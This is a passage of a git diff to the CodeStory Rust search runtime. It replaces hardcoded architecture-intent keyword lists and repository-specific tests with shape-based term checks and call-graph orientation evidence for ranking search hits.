display_name] { - for fragment in raw.split(|ch: char| !ch.is_ascii_alphanumeric()) { - if fragment.is_empty() { - continue; - } - terms.insert(fragment.to_ascii_lowercase()); - for camel_part in split_camel_identifier(fragment) { - terms.insert(camel_part); - } - } - } - terms -} - -pub(super) fn architecture_has_all_terms(terms: &HashSet, required: &[&str]) -> bool { - required.iter().all(|term| terms.contains(*term)) -} - -pub(super) fn architecture_has_any_term(terms: &HashSet, required: &[&str]) -> bool { - required.iter().any(|term| terms.contains(*term)) -} - -pub(super) fn architecture_source_kind(path: &str) -> &'static str { - if path.ends_with(".h") || path.ends_with(".hpp") || path.ends_with(".hh") { - "decl" - } else if path.ends_with(".cpp") - || path.ends_with(".cxx") - || path.ends_with(".cc") - || path.ends_with(".c") - || path.ends_with(".rs") - || path.ends_with(".ts") - || path.ends_with(".tsx") - || path.ends_with(".js") - || path.ends_with(".jsx") - { - "impl" - } else { - "file" - } -} - -pub(super) fn architecture_path_stem(path: &str) -> &str { - path.rsplit('/') - .next() - .and_then(|file| file.rsplit_once('.').map(|(stem, _)| stem)) - .unwrap_or(path) -} - -pub(super) fn normalize_repo_text_path(path: &str) -> String { - path.replace('\\', "/").to_ascii_lowercase() + // The plan's own existence is the breadth gate. Conditioning escalation on + // the query text turns the condition itself into steering surface, which is + // how the deleted architecture-intent check earned the holdout prompts a + // head start. + limit.saturating_mul(5).clamp(limit, 50) } pub(super) fn dedupe_inexact_search_hits_by_display_key(query: &str, hits: &mut Vec) { @@ -1435,6 +706,7 @@ impl AppController { &req.query, &left.hit, &right.hit, + None, ) }); out.truncate(requested_max_results); diff --git a/crates/codestory-runtime/src/search_terms.rs b/crates/codestory-runtime/src/search_terms.rs index 0a931ddaf..b15eabd9d 100644 --- a/crates/codestory-runtime/src/search_terms.rs +++ b/crates/codestory-runtime/src/search_terms.rs @@ -1,5 +1,9 @@ use super::{HashSet, SearchPlanDroppedTermDto, SearchPlanTermsDto}; +// "anchor", "answer", "around", "cite", "cited", and "cites" are +// CodeStory's own prompt and skill vocabulary -- they appear throughout the +// shipped grounding skill and back SEARCH_PLAN_EXPLICIT_ANCHOR_MARKER -- not +// benchmark phrasing, so they stay. pub(super) const SEARCH_PLAN_STOPWORDS: &[&str] = &[ "a", "an", @@ -40,134 +44,16 @@ pub(super) const SEARCH_PLAN_STOPWORDS: &[&str] = &[ "this", "through", "to", - "turns", "what", "where", "which", "why", "with", ]; -pub(super) const SEARCH_PLAN_SYMBOL_TERMS: &[&str] = &[ - "indexer", - "service", - "storage", - "store", - "posts", - "feed", - "auth", - "trail", - "snippet", - "workspace", - "persistence", - "snapshot", -]; pub(super) const SEARCH_PLAN_OPTIONAL_SUBQUERY_LIMIT: usize = 8; pub(super) const SEARCH_PLAN_MAX_SEED_ANCHORS: usize = 32; pub(super) const SEARCH_PLAN_SEED_ANCHOR_MARKER: &str = "Seed anchors:"; pub(super) const SEARCH_PLAN_EXPLICIT_ANCHOR_MARKER: &str = "Anchor the answer around"; -pub(super) const SEARCH_PLAN_ROLE_SPECS: &[(&str, &[&str])] = &[ - ( - "indexing_pipeline", - &["full", "index", "indexing", "indexer", "workspace", "store"], - ), - ( - "build_index_entrypoint", - &["project", "indexing", "build", "index"], - ), - ( - "source_group_configuration", - &[ - "project", - "source-group", - "source", - "group", - "configuration", - ], - ), - ( - "indexing_work", - &["indexing", "indexed", "indexer", "command", "work"], - ), - ( - "storage_access_surface", - &[ - "storage", - "access", - "accessed", - "data", - "application", - "persistence", - ], - ), - ( - "workspace_discovery", - &["workspace", "file", "discovery", "source"], - ), - ( - "symbol_extraction", - &["symbol", "extraction", "indexer", "indexing"], - ), - ( - "runtime_boundary", - &["cli", "runtime", "command", "service"], - ), - ( - "exec_cli_surface", - &["exec", "cli", "json", "subcommand", "runtime"], - ), - ( - "exec_event_output_surface", - &[ - "exec", - "event", - "events", - "json", - "jsonl", - "output", - "event processor", - ], - ), - ( - "read_surface", - &["search", "trail", "snippet", "context", "explore"], - ), - ( - "collection_config_surface", - &[ - "payload", - "collection", - "collections", - "schema", - "hooks", - "access", - "config", - ], - ), - ( - "comment_submission_surface", - &["comments", "comment", "auth", "submission", "guard"], - ), - ( - "public_feed_surface", - &["feed", "rss", "elsewhere", "social", "entries"], - ), - ( - "content_surface", - &["posts", "comments", "auth", "feed", "elsewhere"], - ), - ( - "persistence_surface", - &[ - "storage", - "store", - "persistence", - "payload", - "collection", - "snapshot", - "refresh", - ], - ), -]; pub(super) const SEARCH_PLAN_BASE_SOURCE_TRUTH_CHECKS: &[&str] = &[ "Draft the CodeStory-only answer from selected anchors, bridge status, symbol, trail, and snippet evidence before opening source.", "Open the cited source files after the CodeStory-only draft and classify each claim as correct, partial, misleading, or unsupported.", @@ -233,147 +119,44 @@ pub(super) fn search_plan_terms(query: &str) -> SearchPlanTermsDto { } } } - drop_search_plan_brand_terms_for_content_flow(query, &mut extracted, &mut dropped); - add_search_plan_inferred_architecture_terms( - query, - &mut extracted, - &mut seen, - &mut dropped, - &mut dropped_seen, - ); - SearchPlanTermsDto { extracted, dropped } } -pub(super) fn add_search_plan_inferred_architecture_terms( - query: &str, - extracted: &mut Vec, - seen: &mut HashSet, - dropped: &mut Vec, - dropped_seen: &mut HashSet, -) { - let lower = query.to_ascii_lowercase(); - let has_source_group = lower.contains("source-group") - || (search_plan_query_has_token(&lower, "source") - && search_plan_query_has_token(&lower, "group")); - if has_source_group { - add_search_plan_term("SourceGroup", extracted, seen, dropped, dropped_seen); - } - - let has_indexing_work = search_plan_query_has_token(&lower, "indexing") - && (search_plan_query_has_token(&lower, "work") - || search_plan_query_has_token(&lower, "command") - || has_source_group); - if has_indexing_work { - add_search_plan_term("build", extracted, seen, dropped, dropped_seen); - add_search_plan_term("index", extracted, seen, dropped, dropped_seen); - add_search_plan_term("BuildIndex", extracted, seen, dropped, dropped_seen); - add_search_plan_term("indexer", extracted, seen, dropped, dropped_seen); - add_search_plan_term("IndexerCommand", extracted, seen, dropped, dropped_seen); - } - - let has_data_access = search_plan_query_has_token(&lower, "data") - && (search_plan_query_has_token(&lower, "access") - || search_plan_query_has_token(&lower, "accessed")) - && search_plan_query_has_token(&lower, "application"); - if has_data_access { - add_search_plan_term("access", extracted, seen, dropped, dropped_seen); - add_search_plan_term("storage", extracted, seen, dropped, dropped_seen); - add_search_plan_term("persistence", extracted, seen, dropped, dropped_seen); - } - - let has_event_output = search_plan_query_has_token(&lower, "event") - && (search_plan_query_has_token(&lower, "output") - || search_plan_query_has_token(&lower, "notification") - || search_plan_query_has_token(&lower, "notifications") - || search_plan_query_has_token(&lower, "jsonl")); - if has_event_output { - add_search_plan_term("EventProcessor", extracted, seen, dropped, dropped_seen); - } - - if search_plan_query_has_exec_json_flow(&lower) { - for term in [ - "exec cli", - "exec runtime", - "exec session", - "event processor", - "event output", - "thread start", - "turn start", - ] { - add_search_plan_term(term, extracted, seen, dropped, dropped_seen); - } +/// True when a term looks like an identifier a repository would actually +/// declare. +/// +/// This replaces the fixed noun list that decided which extracted terms were +/// worth a typed-symbol subquery. Shape, not vocabulary: a term qualifies by +/// carrying a separator, an interior capital, or enough alphabetic length to be +/// a name rather than filler. +pub(super) fn search_plan_identifier_shaped_term(term: &str) -> bool { + if term.contains('_') || term.contains("::") { + return true; } - - if search_plan_query_has_payload_content_flow(&lower) { - for term in [ - "content config", - "collection config", - "Posts", - "Comments", - "social entries", - "post page", - "content client", - "comment submission", - "comment auth", - "feed", - ] { - add_search_plan_term(term, extracted, seen, dropped, dropped_seen); - } + let has_interior_uppercase = term + .chars() + .skip(1) + .any(|character| character.is_ascii_uppercase()); + if has_interior_uppercase { + return true; } + term.len() >= 5 + && term + .chars() + .all(|character| character.is_ascii_alphabetic()) + && !SEARCH_PLAN_STOPWORDS.contains(&term.to_ascii_lowercase().as_str()) } -pub(super) fn search_plan_query_has_exec_json_flow(lower_query: &str) -> bool { - search_plan_query_has_token(lower_query, "exec") - && (search_plan_query_has_token(lower_query, "json") - || search_plan_query_has_token(lower_query, "jsonl")) - && (search_plan_query_has_token(lower_query, "event") - || search_plan_query_has_token(lower_query, "events") - || search_plan_query_has_token(lower_query, "output")) -} - -pub(super) fn search_plan_query_has_token(lower_query: &str, token: &str) -> bool { - lower_query - .split(|ch: char| !ch.is_ascii_alphanumeric()) - .any(|part| part == token) -} - -pub(super) fn search_plan_query_has_payload_content_flow(lower_query: &str) -> bool { - search_plan_query_has_token(lower_query, "payload") - && (search_plan_query_has_token(lower_query, "posts") - || search_plan_query_has_token(lower_query, "post") - || search_plan_query_has_token(lower_query, "writing")) - && (search_plan_query_has_token(lower_query, "comments") - || search_plan_query_has_token(lower_query, "comment") - || search_plan_query_has_token(lower_query, "feed") - || search_plan_query_has_token(lower_query, "rss") - || search_plan_query_has_token(lower_query, "elsewhere") - || search_plan_query_has_token(lower_query, "social")) -} - -pub(super) fn drop_search_plan_brand_terms_for_content_flow( - query: &str, - extracted: &mut Vec, - dropped: &mut Vec, -) { - let lower = query.to_ascii_lowercase(); - if !(search_plan_query_has_payload_content_flow(&lower) - && search_plan_query_has_token(&lower, "root") - && search_plan_query_has_token(&lower, "runtime")) - { - return; - } - - extracted.retain(|term| { - let is_brand = term.eq_ignore_ascii_case("root") || term.eq_ignore_ascii_case("runtime"); - if is_brand { - dropped.push(SearchPlanDroppedTermDto { - term: term.clone(), - reason: "brand_phrase_in_content_flow".to_string(), - }); - } - !is_brand - }); +/// Every token the query itself supplies, including camel and snake splits. +/// +/// Anything a generated subquery contains must be a member of this set, so the +/// plan can never inject vocabulary the caller did not write. +pub(super) fn search_plan_query_token_closure(query: &str) -> HashSet { + search_plan_terms(query) + .extracted + .into_iter() + .map(|term| term.to_ascii_lowercase()) + .collect() } pub(super) fn add_search_plan_term( diff --git a/crates/codestory-runtime/src/symbol_query.rs b/crates/codestory-runtime/src/symbol_query.rs index 8f263abb1..98ee92a0e 100644 --- a/crates/codestory-runtime/src/symbol_query.rs +++ b/crates/codestory-runtime/src/symbol_query.rs @@ -1,6 +1,7 @@ -use codestory_contracts::api::{NodeKind, SearchHit, SearchHitOrigin}; +use crate::root_rank::{CallDegrees, EntryEvidence, degree_tier}; +use codestory_contracts::api::{NodeId, NodeKind, SearchHit, SearchHitOrigin}; use std::cmp::Ordering; -use std::collections::HashSet; +use std::collections::{HashMap, HashSet}; use std::fs; use std::path::Path; @@ -11,6 +12,11 @@ pub struct SymbolNameMatchRank { pub exact_leading: u8, } +/// Every field is higher-is-better; `compare_ranked_hits` reverses the whole +/// tuple. Repository-derived orientation evidence sits below the exactness and +/// non-primary-source buckets so it can never rescue a demoted hit, and above +/// the name/path match buckets so entry points can actually outrank leaf +/// aliases. #[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord)] struct SearchMatchRank { full_definition: u8, @@ -20,11 +26,14 @@ struct SearchMatchRank { exact_terminal: u8, exact_leading: u8, source_bucket: u8, + entry_evidence: u8, + not_helper: u8, + reference_tier: u8, + reach_tier: u8, + structural_rank_inv: u8, camel_case_match: u8, compound_term_match: u8, path_term_match: u8, - architecture_role_intent: u8, - architecture_source_bucket: u8, query_kind_intent: u8, query_entrypoint_intent: u8, kind_bucket: u8, @@ -32,6 +41,74 @@ struct SearchMatchRank { indexed_symbol: u8, } +/// Repository-derived evidence for one candidate in the orientation regime. +/// +/// Built once per request from the pinned publication and shared by every +/// comparison, so the comparator itself performs no storage reads. +#[derive(Debug, Clone, Default)] +pub(crate) struct OrientationHitEvidence { + pub(crate) entry: EntryEvidence, + pub(crate) helper_like: bool, + pub(crate) degrees: CallDegrees, + pub(crate) structural_rank: u8, + pub(crate) subsystem: String, +} + +/// The orientation-regime evidence map for one search request. +/// +/// `None` at a call site means the request is not an orientation query, and +/// every new rank field then takes a constant. A field constant across all +/// candidates contributes `Ordering::Equal` to every comparison, so the induced +/// order is exactly the order of the tuple without those fields. +#[derive(Debug, Clone, Default)] +pub(crate) struct OrientationEvidence { + by_node: HashMap, +} + +impl OrientationEvidence { + pub(crate) fn insert(&mut self, node_id: NodeId, evidence: OrientationHitEvidence) { + self.by_node.insert(node_id, evidence); + } + + pub(crate) fn get(&self, node_id: &NodeId) -> Option<&OrientationHitEvidence> { + self.by_node.get(node_id) + } + + /// True when nothing in the evaluated window carries any call degree, so + /// the order below role and structure is not backed by graph evidence. + pub(crate) fn graph_signal_thin(&self) -> bool { + !self.by_node.is_empty() + && self + .by_node + .values() + .all(|evidence| evidence.degrees.is_empty()) + } + + pub(crate) fn entrypoint_roots(&self, node_ids: impl Iterator) -> usize { + node_ids + .filter(|node_id| { + self.get(node_id) + .is_some_and(|evidence| evidence.entry != EntryEvidence::None) + }) + .count() + } + + pub(crate) fn entrypoint_roots_in_map(&self) -> usize { + self.by_node + .values() + .filter(|evidence| evidence.entry != EntryEvidence::None) + .count() + } + + pub(crate) fn subsystems(&self) -> HashSet<&str> { + self.by_node + .values() + .map(|evidence| evidence.subsystem.as_str()) + .filter(|subsystem| !subsystem.is_empty()) + .collect() + } +} + #[derive(Debug, Clone, Copy, PartialEq, Eq)] pub enum RetrievalFileRole { Source, @@ -579,292 +656,6 @@ fn terms_contain_phrase(terms: &[String], phrase: &[&str]) -> bool { .any(|window| window.iter().map(String::as_str).eq(phrase.iter().copied())) } -#[derive(Debug, Clone, Copy, PartialEq, Eq)] -pub(crate) enum ArchitectureQueryIntent { - Orchestration, - Pipeline, - Entrypoint, - Handoff, - CliRuntime, - PageRender, - DataLoader, - Auth, - Feed, - Persistence, -} - -impl ArchitectureQueryIntent { - pub(crate) fn label(self) -> &'static str { - match self { - Self::Orchestration => "orchestration", - Self::Pipeline => "pipeline", - Self::Entrypoint => "entrypoint", - Self::Handoff => "handoff", - Self::CliRuntime => "cli-runtime", - Self::PageRender => "page-render", - Self::DataLoader => "data-loader", - Self::Auth => "auth", - Self::Feed => "feed", - Self::Persistence => "persistence", - } - } -} - -pub(crate) fn architecture_query_intents(query: &str) -> Vec { - let terms = query_terms(query); - let mut intents = Vec::new(); - if terms.iter().any(|term| { - matches!( - term.as_str(), - "architecture" - | "architectural" - | "orchestration" - | "orchestrator" - | "orchestrate" - | "coordinates" - | "coordinate" - | "workflow" - | "flow" - | "flows" - | "connect" - | "connects" - | "connected" - ) - }) || terms_contain_phrase(&terms, &["explain", "how"]) - { - intents.push(ArchitectureQueryIntent::Orchestration); - } - if terms.iter().any(|term| { - matches!( - term.as_str(), - "pipeline" | "pipelines" | "stage" | "staged" | "staging" - ) - }) { - intents.push(ArchitectureQueryIntent::Pipeline); - } - if terms.iter().any(|term| { - matches!( - term.as_str(), - "entrypoint" | "entrypoints" | "entry" | "main" | "start" | "starts" - ) - }) || terms_contain_phrase(&terms, &["entry", "point"]) - { - intents.push(ArchitectureQueryIntent::Entrypoint); - } - if terms.iter().any(|term| { - matches!( - term.as_str(), - "handoff" | "handoffs" | "dispatch" | "dispatches" | "bridge" | "bridges" - ) - }) || terms_contain_phrase(&terms, &["hands", "off"]) - || terms_contain_phrase(&terms, &["hand", "off"]) - { - intents.push(ArchitectureQueryIntent::Handoff); - } - if terms - .iter() - .any(|term| matches!(term.as_str(), "cli" | "runtime" | "command" | "commands")) - || terms_contain_phrase(&terms, &["cli", "runtime"]) - { - intents.push(ArchitectureQueryIntent::CliRuntime); - } - if terms.iter().any(|term| { - matches!( - term.as_str(), - "page" | "render" | "renders" | "rendering" | "route" | "routes" - ) - }) { - intents.push(ArchitectureQueryIntent::PageRender); - } - if terms.iter().any(|term| { - matches!( - term.as_str(), - "loader" | "loaders" | "load" | "loads" | "fetch" | "fetches" - ) - }) || terms_contain_phrase(&terms, &["data", "loader"]) - { - intents.push(ArchitectureQueryIntent::DataLoader); - } - if terms.iter().any(|term| { - matches!( - term.as_str(), - "auth" | "authentication" | "authorization" | "session" | "login" - ) - }) { - intents.push(ArchitectureQueryIntent::Auth); - } - if terms - .iter() - .any(|term| matches!(term.as_str(), "feed" | "feeds" | "social" | "timeline")) - { - intents.push(ArchitectureQueryIntent::Feed); - } - if terms.iter().any(|term| { - matches!( - term.as_str(), - "persistence" - | "persist" - | "persists" - | "storage" - | "store" - | "stored" - | "snapshot" - | "publish" - | "publishes" - | "save" - | "saves" - | "write" - | "writes" - ) - }) { - intents.push(ArchitectureQueryIntent::Persistence); - } - intents -} - -fn architecture_query_has_intent(query: &str) -> bool { - !architecture_query_intents(query).is_empty() -} - -fn architecture_candidate_source_bucket(query: &str, hit: &SearchHit, is_exact_match: bool) -> u8 { - if is_exact_match || !architecture_query_has_intent(query) { - return 1; - } - if is_non_primary_source_hit(hit) { - return 0; - } - if architecture_helper_like_hit(hit) { - return 1; - } - 2 -} - -fn architecture_helper_like_hit(hit: &SearchHit) -> bool { - let text = format!( - "{} {}", - hit.display_name.to_ascii_lowercase(), - hit.file_path - .as_deref() - .unwrap_or_default() - .replace('\\', "/") - .to_ascii_lowercase() - ); - text.split(|ch: char| !ch.is_ascii_alphanumeric()) - .any(|term| { - matches!( - term, - "helper" | "helpers" | "mock" | "mocks" | "fake" | "fixture" | "fixtures" - ) - }) -} - -fn architecture_role_intent_bucket(query: &str, hit: &SearchHit, is_exact_match: bool) -> u8 { - if is_exact_match { - return 0; - } - let intents = architecture_query_intents(query); - if intents.is_empty() || hit.origin == SearchHitOrigin::TextMatch { - return 0; - } - let candidate_terms = architecture_candidate_terms(hit); - let mut bucket = 0; - for intent in intents { - bucket = bucket.max(architecture_intent_candidate_bucket( - intent, - &candidate_terms, - )); - } - bucket -} - -fn architecture_candidate_terms(hit: &SearchHit) -> Vec { - let display = hit.display_name.replace("::", " ").replace('_', " "); - let mut terms = query_terms(&display); - if let Some(path) = hit.file_path.as_deref() { - let path = path.replace('\\', "/").replace(['/', '.', '-', '_'], " "); - terms.extend(query_terms(&path)); - } - terms -} - -fn architecture_intent_candidate_bucket(intent: ArchitectureQueryIntent, terms: &[String]) -> u8 { - let any = |needles: &[&str]| { - terms - .iter() - .any(|term| needles.iter().any(|needle| term == needle)) - }; - let phrase = |needles: &[&str]| terms_contain_phrase(terms, needles); - match intent { - ArchitectureQueryIntent::Orchestration => u8::from(any(&[ - "orchestrate", - "orchestrator", - "run", - "execute", - "dispatch", - "handle", - "workflow", - "controller", - "manager", - "service", - ])), - ArchitectureQueryIntent::Pipeline => u8::from(any(&[ - "pipeline", "stage", "staged", "prepare", "build", "finalize", "index", "publish", - "run", - ])), - ArchitectureQueryIntent::Entrypoint => u8::from( - any(&["main", "run", "start", "open", "handle", "index_full"]) - || phrase(&["index", "full"]), - ), - ArchitectureQueryIntent::Handoff => u8::from(any(&[ - "handoff", "dispatch", "route", "bridge", "ensure", "open", "call", "handle", "execute", - ])), - ArchitectureQueryIntent::CliRuntime => u8::from(any(&[ - "cli", "runtime", "command", "run", "ensure", "open", "handler", "stdio", "snippet", - "trail", "search", "index", - ])), - ArchitectureQueryIntent::PageRender => u8::from(any(&[ - "page", - "render", - "route", - "layout", - "component", - "home", - "view", - ])), - ArchitectureQueryIntent::DataLoader => u8::from(any(&[ - "load", "loader", "get", "fetch", "query", "select", "find", "read", - ])), - ArchitectureQueryIntent::Auth => u8::from(any(&[ - "auth", - "authentication", - "authorization", - "session", - "login", - "user", - "verify", - ])), - ArchitectureQueryIntent::Feed => u8::from(any(&[ - "feed", "feeds", "social", "sync", "entry", "entries", - ])), - ArchitectureQueryIntent::Persistence => u8::from(any(&[ - "persist", - "persistence", - "store", - "storage", - "snapshot", - "publish", - "save", - "write", - "flush", - "commit", - "upsert", - "insert", - "finalize", - "staged", - ])), - } -} - fn query_entrypoint_intent_bucket(query: &str, display_name: &str, is_exact_match: bool) -> u8 { if is_exact_match { return 0; @@ -965,7 +756,12 @@ pub(crate) fn is_non_primary_source_hit(hit: &SearchHit) -> bool { retrieval_file_role_for_hit(hit).is_non_primary() } -fn search_match_rank(project_root: Option<&Path>, query: &str, hit: &SearchHit) -> SearchMatchRank { +fn search_match_rank( + project_root: Option<&Path>, + query: &str, + hit: &SearchHit, + evidence: Option<&OrientationEvidence>, +) -> SearchMatchRank { let (rank, matched_symbol_query) = best_symbol_name_match(query, &hit.display_name); let is_exact_match = rank.exact_display != 0 || rank.exact_terminal != 0 || rank.exact_leading != 0; @@ -986,14 +782,15 @@ fn search_match_rank(project_root: Option<&Path>, query: &str, hit: &SearchHit) let query_kind_intent = query_kind_intent_bucket(query, hit.kind, is_exact_match); let query_entrypoint_intent = query_entrypoint_intent_bucket(query, &hit.display_name, is_exact_match); - let architecture_role_intent = architecture_role_intent_bucket(query, hit, is_exact_match); - let architecture_source_bucket = - architecture_candidate_source_bucket(query, hit, is_exact_match); let kind_tiebreak = if is_exact_match { search_kind_tiebreak(hit.kind) } else { 0 }; + let orientation = evidence.and_then(|evidence| evidence.get(&hit.node_id)); + // Graph evidence must never rescue a demoted test, vendor, or generated + // hit, so reference weight is forced off for non-primary sources. + let primary_source = source_bucket == 1 && !is_non_primary_source_hit(hit); SearchMatchRank { full_definition, @@ -1003,11 +800,24 @@ fn search_match_rank(project_root: Option<&Path>, query: &str, hit: &SearchHit) exact_terminal: rank.exact_terminal, exact_leading: rank.exact_leading, source_bucket, + entry_evidence: orientation.map_or(0, |orientation| orientation.entry.weight()), + not_helper: orientation.map_or(1, |orientation| u8::from(!orientation.helper_like)), + reference_tier: orientation.map_or(0, |orientation| { + if primary_source { + degree_tier(orientation.degrees.production_in_calls).0 + } else { + 0 + } + }), + reach_tier: orientation.map_or(0, |orientation| { + degree_tier(orientation.degrees.out_calls).0 + }), + structural_rank_inv: orientation.map_or(0, |orientation| { + 3u8.saturating_sub(orientation.structural_rank) + }), camel_case_match: camel_case_match_bucket(query, &hit.display_name, is_exact_match), compound_term_match: compound_term_match_bucket(query, &hit.display_name, is_exact_match), path_term_match: path_term_match_bucket(query, hit, is_exact_match), - architecture_role_intent, - architecture_source_bucket, query_kind_intent, query_entrypoint_intent, kind_bucket, @@ -1287,7 +1097,17 @@ fn read_source_line(project_root: Option<&Path>, path: &str, line: u32) -> Optio #[cfg(test)] pub(crate) fn compare_search_hits(query: &str, left: &SearchHit, right: &SearchHit) -> Ordering { - compare_search_hits_with_project_root(None, query, left, right) + compare_search_hits_with_project_root(None, query, left, right, None) +} + +#[cfg(test)] +pub(crate) fn compare_search_hits_with_project_root_for_test( + project_root: Option<&Path>, + query: &str, + left: &SearchHit, + right: &SearchHit, +) -> Ordering { + compare_search_hits_with_project_root(project_root, query, left, right, None) } pub(crate) fn compare_search_hits_with_project_root( @@ -1295,12 +1115,13 @@ pub(crate) fn compare_search_hits_with_project_root( query: &str, left: &SearchHit, right: &SearchHit, + evidence: Option<&OrientationEvidence>, ) -> Ordering { compare_ranked_hits( left, right, - search_match_rank(project_root, query, left), - search_match_rank(project_root, query, right), + search_match_rank(project_root, query, left, evidence), + search_match_rank(project_root, query, right, evidence), ) } @@ -1523,144 +1344,70 @@ mod tests { } #[test] - fn detects_architecture_query_intent_buckets() { - let labels = architecture_query_intents( - "How does the CLI runtime hand off to the page render data loader auth feed persistence pipeline entrypoint?", - ) - .into_iter() - .map(|intent| intent.label()) - .collect::>(); - - for expected in [ - "pipeline", - "entrypoint", - "handoff", - "cli-runtime", - "page-render", - "data-loader", - "auth", - "feed", - "persistence", - ] { - assert!( - labels.contains(&expected), - "missing {expected} in {labels:?}" - ); - } - } - - #[test] - fn architecture_queries_prefer_production_entrypoints_over_helpers() { + fn orientation_evidence_keeps_helpers_and_test_owners_below_production_roots() { let production = hit_at_path( - "run_index_once", - "run_index_once", + "production", + "zqRunOnce", NodeKind::FUNCTION, 0.40, - "crates/codestory-cli/src/main.rs", + "crates/some-crate/src/main.rs", ); let helper = hit_at_path( "helper", - "run_index_once_helper", + "zqRunOnceHelper", NodeKind::FUNCTION, 0.98, - "crates/codestory-cli/src/helpers.rs", + "crates/some-crate/src/helpers.rs", ); let test = hit_at_path( "test", - "tests::run_index_once", + "tests::zqRunOnce", NodeKind::FUNCTION, 0.99, - "crates/codestory-cli/tests/index_flow.rs", - ); + "crates/some-crate/tests/flow.rs", + ); + + let mut evidence = OrientationEvidence::default(); + evidence.insert( + production.node_id.clone(), + OrientationHitEvidence { + entry: EntryEvidence::TopologicalRoot, + helper_like: false, + degrees: CallDegrees { + production_in_calls: 0, + out_calls: 4, + }, + structural_rank: 1, + subsystem: "rust:crates/some-crate".to_string(), + }, + ); + for hit in [&helper, &test] { + evidence.insert( + hit.node_id.clone(), + OrientationHitEvidence { + entry: EntryEvidence::None, + helper_like: true, + degrees: CallDegrees::default(), + structural_rank: 1, + subsystem: "rust:crates/some-crate".to_string(), + }, + ); + } let mut hits = [test, helper, production.clone()]; hits.sort_by(|left, right| { - compare_search_hits("CLI runtime full index entrypoint handoff", left, right) - }); - - assert_eq!( - hits.first().map(|hit| &hit.node_id), - Some(&production.node_id) - ); - } - - #[test] - fn architecture_queries_surface_cross_repo_decisive_candidates() { - let sourcetrail = hit_at_path( - "sourcetrail", - "Project::buildIndex", - NodeKind::METHOD, - 0.40, - "src/lib/project/Project.cpp", - ); - let sourcetrail_helper = hit_at_path( - "sourcetrail_helper", - "buildIndexFixture", - NodeKind::FUNCTION, - 0.99, - "tests/project/buildIndexFixture.cpp", - ); - let mut sourcetrail_hits = [sourcetrail_helper, sourcetrail.clone()]; - sourcetrail_hits.sort_by(|left, right| { - compare_search_hits( - "project indexing pipeline entrypoint build index", + compare_search_hits_with_project_root( + None, + "explain how the modules connect end to end", left, right, + Some(&evidence), ) }); - assert_eq!( - sourcetrail_hits.first().map(|hit| &hit.node_id), - Some(&sourcetrail.node_id) - ); - - let rootandruntime = hit_at_path( - "rootandruntime", - "getElsewhereFeed", - NodeKind::FUNCTION, - 0.40, - "src/lib/social-feed.ts", - ); - let rootandruntime_helper = hit_at_path( - "rootandruntime_helper", - "mockElsewhereFeed", - NodeKind::FUNCTION, - 0.99, - "src/lib/__fixtures__/social-feed.ts", - ); - let mut rootandruntime_hits = [rootandruntime_helper, rootandruntime.clone()]; - rootandruntime_hits.sort_by(|left, right| { - compare_search_hits("how does the public feed data loader work", left, right) - }); - assert_eq!( - rootandruntime_hits.first().map(|hit| &hit.node_id), - Some(&rootandruntime.node_id) - ); - let batcave = hit_at_path( - "batcave", - "RuntimeStore::snapshot", - NodeKind::METHOD, - 0.40, - "src/BatCave.App/src-tauri/src/runtime_store.rs", - ); - let batcave_test = hit_at_path( - "batcave_test", - "RuntimeStore::snapshot_fixture", - NodeKind::METHOD, - 0.99, - "src/BatCave.App/src-tauri/tests/runtime_store.rs", - ); - let mut batcave_hits = [batcave_test, batcave.clone()]; - batcave_hits.sort_by(|left, right| { - compare_search_hits( - "runtime persistence snapshot handoff architecture", - left, - right, - ) - }); assert_eq!( - batcave_hits.first().map(|hit| &hit.node_id), - Some(&batcave.node_id) + hits.first().map(|hit| &hit.node_id), + Some(&production.node_id) ); } @@ -1756,7 +1503,7 @@ mod tests { target_definition.clone(), ]; hits.sort_by(|left, right| { - compare_search_hits_with_project_root( + compare_search_hits_with_project_root_for_test( Some(project_root), "codex_exec::Cli", left, @@ -1806,7 +1553,7 @@ mod tests { let mut hits = [terminal_callable, exact_variant.clone()]; hits.sort_by(|left, right| { - compare_search_hits_with_project_root( + compare_search_hits_with_project_root_for_test( Some(project_root), "Subcommand::Exec", left, @@ -2340,7 +2087,12 @@ mod tests { let mut hits = [forward, definition.clone()]; hits.sort_by(|left, right| { - compare_search_hits_with_project_root(Some(temp.path()), "StorageAccess", left, right) + compare_search_hits_with_project_root_for_test( + Some(temp.path()), + "StorageAccess", + left, + right, + ) }); assert_eq!( diff --git a/crates/codestory-runtime/src/tests.rs b/crates/codestory-runtime/src/tests.rs index 83d8989bd..1f50626a1 100644 --- a/crates/codestory-runtime/src/tests.rs +++ b/crates/codestory-runtime/src/tests.rs @@ -14,11 +14,10 @@ use super::{ SEMANTIC_DOC_SCOPE_ENV, SEMANTIC_EDGE_STREAM_BATCH_SIZE, SEMANTIC_STREAM_PENDING_DOCS_ENV, SEMANTIC_STREAM_SORT_WINDOW_BATCHES_ENV, SYMBOL_SEARCH_DOC_PROVENANCE, SearchEngine, SearchGenerationCompletion, SearchHit, SearchHitOrigin, SearchHybridLimitsDto, - SearchPlanAnchorGroupDto, SearchPlanChannelDto, SearchPlanPromotionStatusDto, - SearchRepoTextMode, SearchRequest, SearchSymbolProjection, SemanticDocAliasMode, - SemanticDocGraphContext, SemanticDocScope, SemanticModeDto, SourceIndexPolicy, - SourcePolicyExclusionPolicyIdentity, Storage, Store, SymbolSearchDoc, TrailConfigDto, - WorkspaceManifest, apply_hybrid_limits, architecture_query_intents, + SearchPlanChannelDto, SearchPlanPromotionStatusDto, SearchRepoTextMode, SearchRequest, + SearchSymbolProjection, SemanticDocAliasMode, SemanticDocGraphContext, SemanticDocScope, + SemanticModeDto, SourceIndexPolicy, SourcePolicyExclusionPolicyIdentity, Storage, Store, + SymbolSearchDoc, TrailConfigDto, WorkspaceManifest, apply_hybrid_limits, arm_full_refresh_staged_store_hook, arm_incremental_staged_store_hook, arm_publication_test_fault, arm_semantic_projection_before_revalidate_hook, arm_source_policy_after_plan_hook, arm_source_policy_before_revalidate_hook, @@ -61,7 +60,7 @@ use crate::search_intent::{ exact_symbol_hit_count, language_filter_matches_path, parse_search_intent_query, }; use crate::search_plan::{ - SearchPlanActivePathEvidence, same_search_file, search_plan_anchor_groups, + SearchPlanActivePathEvidence, orientation_query, same_search_file, search_plan_anchor_groups, search_plan_eligible, search_plan_next_actions, search_plan_path_is_test_or_bench, search_plan_rejected_hits, search_plan_runtime_call_is_speculative, search_plan_subqueries, }; @@ -70,12 +69,10 @@ use crate::search_publication::{ search_index_path_for_publication, write_search_generation_completion, }; use 